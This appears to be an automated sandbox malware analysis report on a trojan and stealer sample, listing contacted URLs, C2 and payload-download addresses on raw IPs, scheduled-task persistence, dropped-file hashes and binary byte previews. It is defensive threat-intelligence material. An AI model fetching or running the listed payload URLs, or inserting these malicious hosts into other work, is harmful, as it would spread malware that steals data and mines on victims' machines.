https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.sda	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deafeninggeh.biz:443/api	c1be3b2878.exe, 0000000C.00000002.2994959784.000000000093A000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.000000000093D000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 00000008.00000002.2803185148.000000000309C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exec61	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe2	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe/	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	svchost.exe, 00000008.00000002.2803185148.000000000309C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe613220	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/_0U9	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/ons	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpD	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe8	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exec61395d7fM0	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe61395	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
104.131.68.180	deafeninggeh.biz	United States	14061	DIGITALOCEAN-ASNUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
178.62.201.34	immureprech.biz	European Union	14061	DIGITALOCEAN-ASNUS	false
104.121.10.34	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.154.220.71	home.fivetk5pn.top	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576493
Start date and time:	2024-12-17 08:01:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@70/44@28/10
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 2ab65296fe.exe, PID 2436 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:03:01	API Interceptor	29758x Sleep call for process: skotes.exe modified
02:03:22	API Interceptor	4x Sleep call for process: c1be3b2878.exe modified
02:03:44	API Interceptor	158x Sleep call for process: 716b31b09e.exe modified
02:03:45	API Interceptor	11x Sleep call for process: powershell.exe modified
08:02:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:03:41	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
104.131.68.180	java.exe	Get hash	malicious	Tinba	Browse	uyhgqunqkxnx.pw/EiDQjNbWEQ/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
deafeninggeh.biz	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
immureprech.biz	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.131.68.180
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.207.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.207.38
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	104.21.22.222
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	23.37.186.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.37.186.133
	njrtdhadawt.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	Client-built.exe	Get hash	malicious	Quasar	Browse	138.68.79.95
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.131.68.180
	PO DOC.html	Get hash	malicious	HTMLPhisher	Browse	164.90.188.192
	236236236.elf	Get hash	malicious	Unknown	Browse	138.68.116.54
	MDtEXRDJ3N.html	Get hash	malicious	WinSearchAbuse	Browse	68.183.112.81
	OmUg4Vt9Cg.html	Get hash	malicious	WinSearchAbuse	Browse	68.183.112.81
	mpsl.elf	Get hash	malicious	Mirai	Browse	174.138.36.14
	mips.elf	Get hash	malicious	Mirai	Browse	157.230.180.192
TWC-11351-NORTHEASTUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	98.85.100.80
	i486.elf	Get hash	malicious	Mirai	Browse	184.153.209.205
	ppc.elf	Get hash	malicious	Mirai	Browse	98.85.81.162
	i686.elf	Get hash	malicious	Mirai	Browse	66.66.33.30
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	76.179.142.49
	arm.elf	Get hash	malicious	Unknown	Browse	67.247.153.209
	ppc.elf	Get hash	malicious	Unknown	Browse	67.241.131.117
	powerpc.elf	Get hash	malicious	Unknown	Browse	172.100.72.92
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	IMAKBWPY.exe	Get hash	malicious	LummaC	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	JIKJCBEX.exe	Get hash	malicious	LummaC	Browse	104.131.68.180 178.62.201.34 104.121.10.34
	YTRNYRXC.exe	Get hash	malicious	LummaC	Browse	104.131.68.180 178.62.201.34 104.121.10.34

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870336
Entropy (8bit):	7.945857164427516
Encrypted:	false
SSDEEP:	49152:Ahj1grp2L8Rdoa7vpTkVbF/qxlueVEsKkWBNFzXwI:8pPL2doqTkKxlueVRKzNVwI
MD5:	FD17D712C627B434E99749CFC82C7D51
SHA1:	BF00A1FE4D9EFC63E963751201A383BF9DF7D25E
SHA-256:	AF8729A17698880E54E9F23B48E6B68D73672179F58868C201C8CF54D1A578BC
SHA-512:	B3F56A4457DF967D9355F42316E8332813C46003B4D2E216FBABDED7EDCDDCBEFC72EE01FD706722CF81E2FB3E0986C31358A22270F7B36106E77A88B6C25C85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I.....wi....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .@*..@.......\..............@...vpedfbia....../......^..............@...fsmwrfhy......I......d..............@....taggant.0....I.."...h..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
